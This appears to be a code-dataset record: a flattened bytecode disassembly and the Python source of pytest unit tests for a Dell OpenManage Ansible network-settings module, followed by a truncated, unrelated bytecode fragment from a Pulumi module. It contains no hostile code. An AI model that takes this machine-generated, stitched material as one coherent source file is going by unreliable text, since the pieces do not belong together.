LOAD_METHOD update_chassis_payload LOAD_FAST f_module LOAD_FAST param LOAD_CONST 'device' BINARY_SUBSCR CALL_METHOD STORE_FAST diff LOAD_FAST diff LOAD_FAST param LOAD_METHOD get LOAD_CONST 'diff' CALL_METHOD COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST param LOAD_CONST 'in' BINARY_SUBSCR STORE_FAST inp LOAD_FAST param LOAD_METHOD get LOAD_CONST 'enable_nic' CALL_METHOD LOAD_FAST inp LOAD_CONST 'enable_nic' STORE_SUBSCR LOAD_FAST self LOAD_ATTR get_module_mock LOAD_FAST inp LOAD_CONST ('params',) CALL_FUNCTION STORE_FAST f_module LOAD_FAST self LOAD_ATTR module LOAD_METHOD update_server_payload LOAD_FAST f_module LOAD_FAST param LOAD_CONST 'device' BINARY_SUBSCR CALL_METHOD STORE_FAST diff LOAD_FAST diff LOAD_FAST param LOAD_METHOD get LOAD_CONST 'diff' CALL_METHOD COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST param LOAD_CONST 'in' BINARY_SUBSCR STORE_FAST inp LOAD_FAST param LOAD_METHOD get LOAD_CONST 'enable_nic' CALL_METHOD LOAD_FAST inp LOAD_CONST 'enable_nic' STORE_SUBSCR LOAD_FAST self LOAD_ATTR get_module_mock LOAD_FAST inp LOAD_CONST ('params',) CALL_FUNCTION STORE_FAST f_module LOAD_FAST self LOAD_ATTR module LOAD_METHOD update_iom_payload LOAD_FAST f_module LOAD_FAST param LOAD_CONST 'device' BINARY_SUBSCR CALL_METHOD STORE_FAST diff LOAD_FAST diff LOAD_FAST param LOAD_METHOD get LOAD_CONST 'diff' CALL_METHOD COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST params LOAD_CONST 'mparams' BINARY_SUBSCR STORE_FAST mparams LOAD_FAST self LOAD_ATTR module LOAD_METHOD validate_dependency LOAD_FAST mparams CALL_METHOD STORE_FAST result LOAD_FAST result LOAD_FAST params LOAD_CONST 'res' BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST params LOAD_METHOD get LOAD_CONST 'success' LOAD_CONST True CALL_METHOD LOAD_FAST ome_response_mock STORE_ATTR success LOAD_FAST params LOAD_CONST 'json_data' BINARY_SUBSCR LOAD_FAST ome_response_mock STORE_ATTR json_data LOAD_FAST self LOAD_ATTR get_module_mock LOAD_FAST params LOAD_CONST 'mparams' BINARY_SUBSCR LOAD_CONST ('params',) CALL_FUNCTION STORE_FAST f_module LOAD_FAST self LOAD_ATTR module LOAD_METHOD get_device_details LOAD_FAST f_module LOAD_FAST ome_connection_mock_for_device_network CALL_METHOD STORE_FAST result LOAD_FAST result LOAD_FAST params LOAD_CONST 'res' BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST params LOAD_METHOD get LOAD_CONST 'success' LOAD_CONST True CALL_METHOD LOAD_FAST ome_response_mock STORE_ATTR success LOAD_FAST params LOAD_CONST 'json_data' BINARY_SUBSCR LOAD_FAST ome_response_mock STORE_ATTR json_data LOAD_FAST params LOAD_METHOD get LOAD_CONST 'json_data' CALL_METHOD LOAD_FAST ome_connection_mock_for_device_network LOAD_ATTR strip_substr_dict STORE_ATTR return_value LOAD_FAST mocker LOAD_ATTR patch LOAD_GLOBAL MODULE_PATH LOAD_CONST 'update_chassis_payload' BINARY_ADD LOAD_FAST params LOAD_CONST 'diff' BINARY_SUBSCR LOAD_CONST ('return_value',) CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_ATTR get_module_mock LOAD_FAST params LOAD_CONST 'mparams' BINARY_SUBSCR LOAD_CONST ('params',) CALL_FUNCTION STORE_FAST f_module LOAD_FAST self LOAD_ATTR module LOAD_METHOD get_network_payload LOAD_FAST f_module LOAD_FAST ome_connection_mock_for_device_network LOAD_CONST 123 LOAD_CONST 2000 LOAD_CONST ('Id', 'Type') BUILD_CONST_KEY_MAP CALL_METHOD STORE_FAST result LOAD_FAST result LOAD_FAST params LOAD_METHOD get LOAD_CONST 'res' CALL_METHOD COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST ome_default_args LOAD_METHOD update LOAD_CONST 'device_service_tag' LOAD_GLOBAL Constants LOAD_ATTR service_tag1 BUILD_MAP CALL_METHOD POP_TOP LOAD_CONST 400 LOAD_FAST ome_response_mock STORE_ATTR status_code LOAD_CONST False LOAD_FAST ome_response_mock STORE_ATTR success LOAD_GLOBAL to_text LOAD_GLOBAL json LOAD_METHOD dumps LOAD_CONST 'info' LOAD_CONST 'error_details' BUILD_MAP CALL_METHOD CALL_FUNCTION STORE_FAST json_str LOAD_FAST exc_type LOAD_GLOBAL URLError COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST mocker LOAD_ATTR patch LOAD_GLOBAL MODULE_PATH LOAD_CONST 'validate_input' BINARY_ADD LOAD_FAST exc_type LOAD_CONST 'url open error' CALL_FUNCTION LOAD_CONST ('side_effect',) CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_METHOD _run_module LOAD_FAST ome_default_args CALL_METHOD STORE_FAST result LOAD_FAST result LOAD_CONST 'unreachable' BINARY_SUBSCR LOAD_CONST True COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_FORWARD to 230 LOAD_FAST exc_type LOAD_GLOBAL HTTPError LOAD_GLOBAL SSLValidationError BUILD_LIST COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_FAST mocker LOAD_ATTR patch LOAD_GLOBAL MODULE_PATH LOAD_CONST 'validate_input' BINARY_ADD LOAD_FAST exc_type LOAD_CONST 'exception message' CALL_FUNCTION LOAD_CONST ('side_effect',) CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_METHOD _run_module_with_fail_json LOAD_FAST ome_default_args CALL_METHOD STORE_FAST result LOAD_FAST result LOAD_CONST 'failed' BINARY_SUBSCR LOAD_CONST True COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_FORWARD to 230 LOAD_FAST mocker LOAD_ATTR patch LOAD_GLOBAL MODULE_PATH LOAD_CONST 'validate_input' BINARY_ADD LOAD_FAST exc_type LOAD_CONST 'https://testhost.com' LOAD_CONST 400 LOAD_CONST 'http error message' LOAD_CONST 'accept-type' LOAD_CONST 'application/json' BUILD_MAP LOAD_GLOBAL StringIO LOAD_FAST json_str CALL_FUNCTION CALL_FUNCTION LOAD_CONST ('side_effect',) CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_METHOD _run_module_with_fail_json LOAD_FAST ome_default_args CALL_METHOD STORE_FAST result LOAD_FAST result LOAD_CONST 'failed' BINARY_SUBSCR LOAD_CONST True COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'msg' LOAD_FAST result COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE
from __future__ import absolute_import, division, print_function __metaclass__ = type import json from io import StringIO import pytest from ansible.module_utils._text import to_text from ansible.module_utils.six.moves.urllib.error import HTTPError, URLError from ansible.module_utils.urls import ConnectionError, SSLValidationError from ansible_collections.dellemc.openmanage.plugins.modules import ( ome_device_mgmt_network, ) from ansible_collections.dellemc.openmanage.tests.unit.plugins.modules.common import ( FakeAnsibleModule, Constants, ) MODULE_PATH = ( "ansible_collections.dellemc.openmanage.plugins.modules.ome_device_mgmt_network." ) DEVICE_NOT_FOUND = "Device with {0} '{1}' not found." NON_CONFIG_NETWORK = "Network settings for {0} is not configurable." SUCCESS_MSG = "Successfully applied the network settings." INVALID_IP = "Invalid {0} address provided for the {1}" DNS_SETT_ERR1 = "'SecondaryDNS' requires 'PrimaryDNS' to be provided." DNS_SETT_ERR2 = ( "'TertiaryDNS' requires both 'PrimaryDNS' and 'SecondaryDNS' to be provided." ) NO_CHANGES_MSG = "No changes found to be applied." CHANGES_FOUND = "Changes found to be applied." SERVER = 1000 CHASSIS = 2000 IO_MODULE = 4000 @pytest.fixture def ome_connection_mock_for_device_network(mocker, ome_response_mock): connection_class_mock = mocker.patch(MODULE_PATH + "RestOME") ome_connection_mock_obj = connection_class_mock.return_value.__enter__.return_value ome_connection_mock_obj.invoke_request.return_value = ome_response_mock return ome_connection_mock_obj class TestOmeDeviceMgmtNetwork(FakeAnsibleModule): module = ome_device_mgmt_network dns_configuration = { "dns_domain_name": "localdomain", "dns_name": "openmanage-enterprise", "register_with_dns": False, "auto_negotiation": False, "network_speed": "10_MB", "use_dhcp_for_dns_domain_name": False, } ipv4_configuration = { "enable_ipv4": True, "enable_dhcp": False, "use_dhcp_to_obtain_dns_server_address": False, "static_ip_address": "192.168.11.20", "static_subnet_mask": "255.255.255.0", "static_gateway": "192.168.11.1", "static_preferred_dns_server": "192.168.11.2", "static_alternate_dns_server": "192.168.11.3", } ipv6_configuration = { "enable_ipv6": True, "enable_auto_configuration": False, "static_alternate_dns_server": "2607:f2b1:f081:9:1c8c:f1c7:47e:f121", "static_gateway": "0000::ffff", "static_ip_address": "2607:f2b1:f081:9:1c8c:f1c7:47e:f120", "static_preferred_dns_server": "2607:f2b1:f081:9:1c8c:f1c7:47e:f122", "static_prefix_length": 0, "use_dhcpv6_to_obtain_dns_server_address": False, } dns_server_settings = { "preferred_dns_server": "192.96.20.181", "alternate_dns_server1": "192.96.20.182", } management_vlan = {"enable_vlan": True, "vlan_id": 0} inp_param = { "hostname": "192.1.2.3", "password": "password", "port": 443, "username": "root", "device_service_tag": Constants.service_tag1, "delay": 10, "dns_configuration": dns_configuration, "ipv4_configuration": ipv4_configuration, "ipv6_configuration": ipv6_configuration, "management_vlan": management_vlan, "dns_server_settings": dns_server_settings, } chassis = { "SettingType": "Network", "MgmtVLANId": "1", "EnableVLAN": True, "Ipv4Settings": { "EnableIPv4": True, "EnableDHCP": False, "StaticIPAddress": "192.196.24.176", "StaticSubnetMask": "255.255.254.0", "StaticGateway": "192.196.24.1", "UseDHCPObtainDNSServerAddresses": False, "StaticPreferredDNSServer": "", "StaticAlternateDNSServer": "", }, "Ipv6Settings": { "EnableIPv6": False, "EnableAutoconfiguration": False, "StaticIPv6Address": "", "StaticPrefixLength": "0", "StaticGateway": "", "UseDHCPv6ObtainDNSServerAddresses": False, "StaticPreferredDNSServer": "", "StaticAlternateDNSServer": "", }, "GeneralSettings": { "EnableNIC": True, "RegisterDNS": False, "DnsName": "MX-6H5S6Z2", "UseDHCPForDomainName": False, "DnsDomainName": "", "AutoNegotiation": True, "NetworkSpeed": "1_GB", "Delay": 0, }, } server = { "SettingType": "Network", "useDHCPToObtainDNSIPv6": "Disabled", "staticPreferredDNSIPv6": "::", "currentGatewayIPv4": "192.92.24.1", "vlanId": "1", "staticPreferredDNSIPv4": "10.8.8.8", "staticSubnetMaskIPv4": "255.255.254.0", "currentIPAddressIPv4": "192.92.24.177", "enableDHCPIPv4": "Disabled", "currentIPAddressIPv6": "::", "staticIPAddressIPv6": "::", "staticIPAddressIPv4": "192.92.24.177", "useDHCPToObtainDNSIPv4": "Disabled", "staticGatewayIPv6": "::", "staticPrefixLengthIPv6": "64", "vlanEnable": "Disabled", "enableAutoConfigurationIPv6": "Enabled", "staticGatewayIPv4": "192.92.24.1", "enableIPv6": "Disabled", "staticAlternateDNSIPv6": "::", "enableIPv4": "Enabled", "enableNIC": "Enabled", "staticAlternateDNSIPv4": "192.96.7.7", } iom = { "SettingType": "Network", "MgmtVLANId": "", "EnableMgmtVLANId": False, "IomIPv4Settings": { "EnableIPv4": True, "EnableDHCP": True, "StaticIPAddress": "192.96.24.35", "StaticSubnetMask": "255.255.254.0", "StaticGateway": "192.96.24.1", }, "IomIPv6Settings": { "EnableIPv6": True, "StaticIPv6Address": "2607:f2b1:f2b1:9:f2b1:f2b1:f2b1:be45", "StaticPrefixLength": "64", "StaticGateway": "fe80::f2b1:f2b1:f2b1:9", "UseDHCPv6": False, }, "IomDNSSettings": {"PrimaryDNS": "", "SecondaryDNS": "", "TertiaryDNS": ""}, } @pytest.mark.parametrize( "params", [ {"module_args": inp_param, "dvc": {"Type": 2000}, "msg": SUCCESS_MSG}, {"module_args": inp_param, "dvc": {"Type": 1000}, "msg": SUCCESS_MSG}, {"module_args": inp_param, "dvc": {"Type": 4000}, "msg": SUCCESS_MSG}, ], ) def test_ome_device_mgmt_network_success( self, params, ome_connection_mock_for_device_network, ome_response_mock, ome_default_args, mocker, ): ome_response_mock.success = params.get("success", True) ome_response_mock.json_data = {"IPAddress": "192.1.2.3"} mocker.patch( MODULE_PATH + "get_device_details", return_value=params.get("dvc", {"Type": 2000}), ) mocker.patch(MODULE_PATH + "get_network_payload", return_value={"Type": 2000}) ome_default_args.update(params["module_args"]) result = self._run_module( ome_default_args, check_mode=params.get("check_mode", False) ) assert result["msg"] == params["msg"] @pytest.mark.parametrize( "params", [ { "module_args": inp_param, "dvc": {"Type": 3000, "Model": "Unsupported"}, "msg": NON_CONFIG_NETWORK, }, ], ) def test_ome_device_mgmt_network_fails( self, params, ome_connection_mock_for_device_network, ome_response_mock, ome_default_args, mocker, ): ome_response_mock.success = params.get("success", True) ome_response_mock.json_data = {"IPAddress": "192.1.2.3"} dvc = params.get("dvc") mocker.patch(MODULE_PATH + "get_device_details", return_value=dvc) mocker.patch(MODULE_PATH + "get_network_payload", return_value={}) ome_default_args.update(params["module_args"]) result = self._run_module_with_fail_json(ome_default_args) assert result["msg"] == params["msg"].format(dvc.get("Model")) @pytest.mark.parametrize( "params", [ { "module_args": { "device_id": 123, "dns_server_settings": {"alternate_dns_server1": "192.96.20.182"}, }, "json_data": { "IomDNSSettings": { "PrimaryDNS": None, "SecondaryDNS": "", "TertiaryDNS": "", } }, "dvc": {"Type": 4000}, "msg": DNS_SETT_ERR1, } ], ) def _test_ome_device_mgmt_iom_dns_failure( self, params, ome_connection_mock_for_device_network, ome_response_mock, ome_default_args, mocker, ): ome_response_mock.success = params.get("success", True) ome_response_mock.json_data = params.get("json_data") dvc = params.get("dvc") mocker.patch(MODULE_PATH + "get_device_details", return_value=dvc) ome_default_args.update(params["module_args"]) result = self._run_module_with_fail_json(ome_default_args) assert result["msg"] == params["msg"] @pytest.mark.parametrize( "addr_param", [ {"in": inp_param}, {"in": {"dns_configuration": {"register_with_dns": True}}}, {"in": {"management_vlan": {"enable_vlan": True}}}, ], ) def test_validate_input_success(self, addr_param): f_module = self.get_module_mock(params=addr_param["in"]) self.module.validate_input(f_module) @pytest.mark.parametrize( "param", [ { "in": inp_param, "device": chassis, "enable_nic": False, "delay": 5, "diff": {"EnableNIC": False, "Delay": 5}, }, { "in": inp_param, "device": chassis, "enable_nic": True, "diff": { "StaticAlternateDNSServer": "2607:f2b1:f081:9:1c8c:f1c7:47e:f121", "StaticPreferredDNSServer": "2607:f2b1:f081:9:1c8c:f1c7:47e:f122", "StaticGateway": "0000::ffff", "StaticSubnetMask": "255.255.255.0", "StaticIPAddress": "192.168.11.20", "StaticIPv6Address": "2607:f2b1:f081:9:1c8c:f1c7:47e:f120", "StaticPrefixLength": 0, "EnableIPv6": True, "NetworkSpeed": "10_MB", "DnsName": "openmanage-enterprise", "AutoNegotiation": False, "DnsDomainName": "localdomain", "MgmtVLANId": 0, }, }, { "in": {"ipv6_configuration": ipv6_configuration}, "device": chassis, "enable_nic": True, "diff": { "StaticAlternateDNSServer": "2607:f2b1:f081:9:1c8c:f1c7:47e:f121", "StaticPreferredDNSServer": "2607:f2b1:f081:9:1c8c:f1c7:47e:f122", "StaticGateway": "0000::ffff", "StaticIPv6Address": "2607:f2b1:f081:9:1c8c:f1c7:47e:f120", "StaticPrefixLength": 0, "EnableIPv6": True, }, }, { "in": {"ipv4_configuration": ipv4_configuration}, "device": chassis, "enable_nic": True, "diff": { "StaticAlternateDNSServer": "192.168.11.3", "StaticPreferredDNSServer": "192.168.11.2", "StaticGateway": "192.168.11.1", "StaticSubnetMask": "255.255.255.0", "StaticIPAddress": "192.168.11.20", }, }, { "in": {"dns_configuration": dns_configuration}, "device": chassis, "enable_nic": True, "diff": { "NetworkSpeed": "10_MB", "DnsName": "openmanage-enterprise", "AutoNegotiation": False, "DnsDomainName": "localdomain", }, }, { "in": {"management_vlan": management_vlan}, "device": chassis, "enable_nic": True, "diff": {"MgmtVLANId": 0}, }, ], ) def test_update_chassis_payload_success(self, param): inp = param["in"] inp["enable_nic"] = param.get("enable_nic") inp["delay"] = param.get("delay", 0) f_module = self.get_module_mock(params=inp) diff = self.module.update_chassis_payload(f_module, param["device"]) assert diff == param.get("diff") @pytest.mark.parametrize( "param", [ { "in": inp_param, "device": server, "enable_nic": False, "diff": {"enableNIC": "Disabled"}, }, { "in": inp_param, "device": server, "enable_nic": True, "diff": { "staticIPAddressIPv4": "192.168.11.20", "staticSubnetMaskIPv4": "255.255.255.0", "staticGatewayIPv4": "192.168.11.1", "staticPreferredDNSIPv4": "192.168.11.2", "staticAlternateDNSIPv4": "192.168.11.3", "enableAutoConfigurationIPv6": "Disabled", "vlanEnable": "Enabled", "staticPreferredDNSIPv6": "2607:f2b1:f081:9:1c8c:f1c7:47e:f122", "staticAlternateDNSIPv6": "2607:f2b1:f081:9:1c8c:f1c7:47e:f121", "staticIPAddressIPv6": "2607:f2b1:f081:9:1c8c:f1c7:47e:f120", "staticPrefixLengthIPv6": 0, "staticGatewayIPv6": "0000::ffff", "enableIPv6": "Enabled", "vlanId": 0, }, }, { "in": {"ipv6_configuration": ipv6_configuration}, "device": server, "enable_nic": True, "diff": { "staticPreferredDNSIPv6": "2607:f2b1:f081:9:1c8c:f1c7:47e:f122", "staticAlternateDNSIPv6": "2607:f2b1:f081:9:1c8c:f1c7:47e:f121", "staticIPAddressIPv6": "2607:f2b1:f081:9:1c8c:f1c7:47e:f120", "staticPrefixLengthIPv6": 0, "staticGatewayIPv6": "0000::ffff", "enableAutoConfigurationIPv6": "Disabled", "enableIPv6": "Enabled", }, }, { "in": {"ipv4_configuration": ipv4_configuration}, "device": server, "enable_nic": True, "diff": { "staticIPAddressIPv4": "192.168.11.20", "staticSubnetMaskIPv4": "255.255.255.0", "staticGatewayIPv4": "192.168.11.1", "staticPreferredDNSIPv4": "192.168.11.2", "staticAlternateDNSIPv4": "192.168.11.3", }, }, { "in": {"management_vlan": management_vlan}, "device": server, "enable_nic": True, "diff": {"vlanEnable": "Enabled", "vlanId": 0}, }, ], ) def test_update_server_payload_success(self, param): inp = param["in"] inp["enable_nic"] = param.get("enable_nic") f_module = self.get_module_mock(params=inp) diff = self.module.update_server_payload(f_module, param["device"]) assert diff == param.get("diff") @pytest.mark.parametrize( "param", [ { "in": inp_param, "device": iom, "enable_nic": False, "diff": { "StaticGateway": "0000::ffff", "StaticIPAddress": "192.168.11.20", "StaticSubnetMask": "255.255.255.0", "EnableDHCP": False, "EnableMgmtVLANId": True, "StaticPrefixLength": 0, "StaticIPv6Address": "2607:f2b1:f081:9:1c8c:f1c7:47e:f120", "MgmtVLANId": 0, "SecondaryDNS": "192.96.20.182", "PrimaryDNS": "192.96.20.181", }, }, { "in": inp_param, "device": iom, "enable_nic": True, "diff": { "StaticGateway": "0000::ffff", "StaticIPAddress": "192.168.11.20", "StaticSubnetMask": "255.255.255.0", "EnableDHCP": False, "StaticPrefixLength": 0, "EnableMgmtVLANId": True, "StaticIPv6Address": "2607:f2b1:f081:9:1c8c:f1c7:47e:f120", "MgmtVLANId": 0, "SecondaryDNS": "192.96.20.182", "PrimaryDNS": "192.96.20.181", }, }, { "in": {"ipv6_configuration": ipv6_configuration}, "device": iom, "enable_nic": True, "diff": { "StaticGateway": "0000::ffff", "StaticPrefixLength": 0, "StaticIPv6Address": "2607:f2b1:f081:9:1c8c:f1c7:47e:f120", }, }, { "in": {"ipv4_configuration": ipv4_configuration}, "device": iom, "enable_nic": True, "diff": { "StaticGateway": "192.168.11.1", "StaticIPAddress": "192.168.11.20", "StaticSubnetMask": "255.255.255.0", "EnableDHCP": False, }, }, { "in": {"management_vlan": management_vlan}, "device": iom, "enable_nic": True, "diff": {"EnableMgmtVLANId": True, "MgmtVLANId": 0}, }, ], ) def test_update_iom_payload_success(self, param): inp = param["in"] inp["enable_nic"] = param.get("enable_nic") f_module = self.get_module_mock(params=inp) diff = self.module.update_iom_payload(f_module, param["device"]) assert diff == param.get("diff") @pytest.mark.parametrize( "params", [ { "mparams": { "dns_configuration": { "dns_domain_name": "localdomain", "dns_name": "openmanage-enterprise", "register_with_dns": True, "auto_negotiation": True, "network_speed": "10_MB", "use_dhcp_for_dns_domain_name": True, }, "ipv4_configuration": { "enable_ipv4": False, "enable_dhcp": True, "use_dhcp_to_obtain_dns_server_address": True, "static_ip_address": "192.168.11.20", "static_subnet_mask": "255.255.255.0", "static_gateway": "192.168.11.1", "static_preferred_dns_server": "192.168.11.2", "static_alternate_dns_server": "192.168.11.3", }, "ipv6_configuration": { "enable_ipv6": False, "enable_auto_configuration": True, "static_alternate_dns_server": "2607:f2b1:f081:9:1c8c:f1c7:47e:f121", "static_gateway": "0000::ffff", "static_ip_address": "2607:f2b1:f081:9:1c8c:f1c7:47e:f120", "static_preferred_dns_server": "2607:f2b1:f081:9:1c8c:f1c7:47e:f122", "static_prefix_length": 0, "use_dhcpv6_to_obtain_dns_server_address": True, }, "management_vlan": {"enable_vlan": False, "vlan_id": 0}, "dns_server_settings": { "preferred_dns_server": "192.96.20.181", "alternate_dns_server1": "192.96.20.182", }, }, "res": { "dns_configuration": { "dns_name": "openmanage-enterprise", "register_with_dns": True, "auto_negotiation": True, "use_dhcp_for_dns_domain_name": True, }, "ipv4_configuration": {"enable_ipv4": False}, "ipv6_configuration": {"enable_ipv6": False}, "management_vlan": {"enable_vlan": False}, "dns_server_settings": { "preferred_dns_server": "192.96.20.181", "alternate_dns_server1": "192.96.20.182", }, }, } ], ) def test_validate_dependency(self, params): mparams = params["mparams"] result = self.module.validate_dependency(mparams) assert result == params["res"] @pytest.mark.parametrize( "params", [ { "mparams": {"device_id": 123}, "success": True, "json_data": { "value": [ {"Name": "vlan_name1", "Id": 124, "Identifier": "ABCD345"}, {"Name": "vlan_name", "Id": 123, "Identifier": "ABCD123"}, ] }, "res": {"Name": "vlan_name", "Id": 123, "Identifier": "ABCD123"}, }, { "mparams": {"device_service_tag": "ABCD123"}, "success": True, "json_data": { "value": [{"Name": "vlan_name", "Id": 123, "Identifier": "ABCD123"}] }, "res": {"Name": "vlan_name", "Id": 123, "Identifier": "ABCD123"}, }, ], ) def test_get_device_details( self, params, ome_connection_mock_for_device_network, ome_response_mock ): ome_response_mock.success = params.get("success", True) ome_response_mock.json_data = params["json_data"] f_module = self.get_module_mock(params=params["mparams"]) result = self.module.get_device_details( f_module, ome_connection_mock_for_device_network ) assert result == params["res"] @pytest.mark.parametrize( "params", [ { "mparams": {"device_id": 123}, "success": True, "json_data": {"Type": 2000, "Id": 123, "Identifier": "ABCD123"}, "res": {"Type": 2000, "Id": 123, "Identifier": "ABCD123"}, "diff": {"IPV4": "1.2.3.4"}, }, { "mparams": {"device_id": 123}, "success": True, "json_data": {"Type": 4000, "Id": 123, "Identifier": "ABCD123"}, "res": {"Type": 4000, "Id": 123, "Identifier": "ABCD123"}, "diff": {"IPV4": "1.2.3.4"}, }, ], ) def test_get_network_payload( self, params, ome_connection_mock_for_device_network, ome_response_mock, mocker ): ome_response_mock.success = params.get("success", True) ome_response_mock.json_data = params["json_data"] ome_connection_mock_for_device_network.strip_substr_dict.return_value = ( params.get("json_data") ) mocker.patch( MODULE_PATH + "update_chassis_payload", return_value=params["diff"] ) f_module = self.get_module_mock(params=params["mparams"]) result = self.module.get_network_payload( f_module, ome_connection_mock_for_device_network, {"Id": 123, "Type": 2000} ) assert result == params.get("res") @pytest.mark.parametrize( "exc_type", [ IOError, ValueError, SSLValidationError, TypeError, ConnectionError, HTTPError, URLError, ], ) def test_device_network_main_exception_case( self, exc_type, mocker, ome_default_args, ome_connection_mock_for_device_network, ome_response_mock, ): ome_default_args.update({"device_service_tag": Constants.service_tag1}) ome_response_mock.status_code = 400 ome_response_mock.success = False json_str = to_text(json.dumps({"info": "error_details"})) if exc_type == URLError: mocker.patch( MODULE_PATH + "validate_input", side_effect=exc_type("url open error") ) result = self._run_module(ome_default_args) assert result["unreachable"] is True elif exc_type not in [HTTPError, SSLValidationError]: mocker.patch( MODULE_PATH + "validate_input", side_effect=exc_type("exception message"), ) result = self._run_module_with_fail_json(ome_default_args) assert result["failed"] is True else: mocker.patch( MODULE_PATH + "validate_input", side_effect=exc_type( "https://testhost.com", 400, "http error message", {"accept-type": "application/json"}, StringIO(json_str), ), ) result = self._run_module_with_fail_json(ome_default_args) assert result["failed"] is True assert "msg" in result
data/ansible-9.2.0/ansible_collections/dellemc/openmanage/tests/unit/plugins/modules/test_ome_device_mgmt_network.py
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LOAD_CONST 0 LOAD_CONST None IMPORT_NAME copy STORE_NAME copy LOAD_CONST 0 LOAD_CONST None IMPORT_NAME warnings STORE_NAME warnings LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pulumi STORE_NAME pulumi LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pulumi.runtime STORE_NAME pulumi LOAD_CONST 0 LOAD_CONST ('Any', 'Mapping', 'Optional', 'Sequence', 'Union', 'overload') IMPORT_NAME typing IMPORT_FROM Any STORE_NAME Any IMPORT_FROM Mapping STORE_NAME Mapping IMPORT_FROM Optional STORE_NAME Optional IMPORT_FROM Sequence STORE_NAME Sequence IMPORT_FROM Union STORE_NAME Union IMPORT_FROM overload STORE_NAME overload POP_TOP LOAD_CONST 2 LOAD_CONST ('_utilities',) IMPORT_NAME IMPORT_FROM _utilities STORE_NAME _utilities POP_TOP LOAD_CONST 1 LOAD_CONST ('outputs',) IMPORT_NAME IMPORT_FROM outputs STORE_NAME outputs POP_TOP LOAD_CONST 1 LOAD_CONST ('*',) IMPORT_NAME _inputs IMPORT_STAR LOAD_CONST 'AiDatasetArgs' LOAD_CONST 'AiDataset' BUILD_LIST STORE_NAME __all__ LOAD_NAME pulumi LOAD_ATTR input_type LOAD_BUILD_CLASS LOAD_CONST <code object AiDatasetArgs at 0x7fab411b95d0, file "f.py", line 13> LOAD_CONST 'AiDatasetArgs' MAKE_FUNCTION LOAD_CONST 'AiDatasetArgs' CALL_FUNCTION CALL_FUNCTION STORE_NAME AiDatasetArgs LOAD_NAME pulumi LOAD_ATTR input_type LOAD_BUILD_CLASS LOAD_CONST <code object _AiDatasetState at 0x7faad43a0ae0, file "f.py", line 136> LOAD_CONST '_AiDatasetState' MAKE_FUNCTION LOAD_CONST '_AiDatasetState' CALL_FUNCTION CALL_FUNCTION STORE_NAME _AiDatasetState LOAD_BUILD_CLASS LOAD_CONST <code object AiDataset at 0x7faa5ec5e780, file "f.py", line 351> LOAD_CONST 'AiDataset' MAKE_FUNCTION LOAD_CONST 'AiDataset' LOAD_NAME pulumi LOAD_ATTR CustomResource CALL_FUNCTION STORE_NAME AiDataset LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'AiDatasetArgs' STORE_NAME __qualname__ LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST ('encryption_spec', 'labels', 'project', 'region') BUILD_CONST_KEY_MAP LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_CONST 'AiDatasetEncryptionSpecArgs' BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('display_name', 'metadata_schema_uri', 'encryption_spec', 'labels', 'project', 'region') BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7faa761eef60, file "f.py", line 15> LOAD_CONST 'AiDatasetArgs.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'displayName' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object display_name at 0x7faa761eee40, file "f.py", line 53> LOAD_CONST 'AiDatasetArgs.display_name' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME display_name LOAD_NAME display_name LOAD_ATTR setter LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object display_name at 0x7faa761ee540, file "f.py", line 61> LOAD_CONST 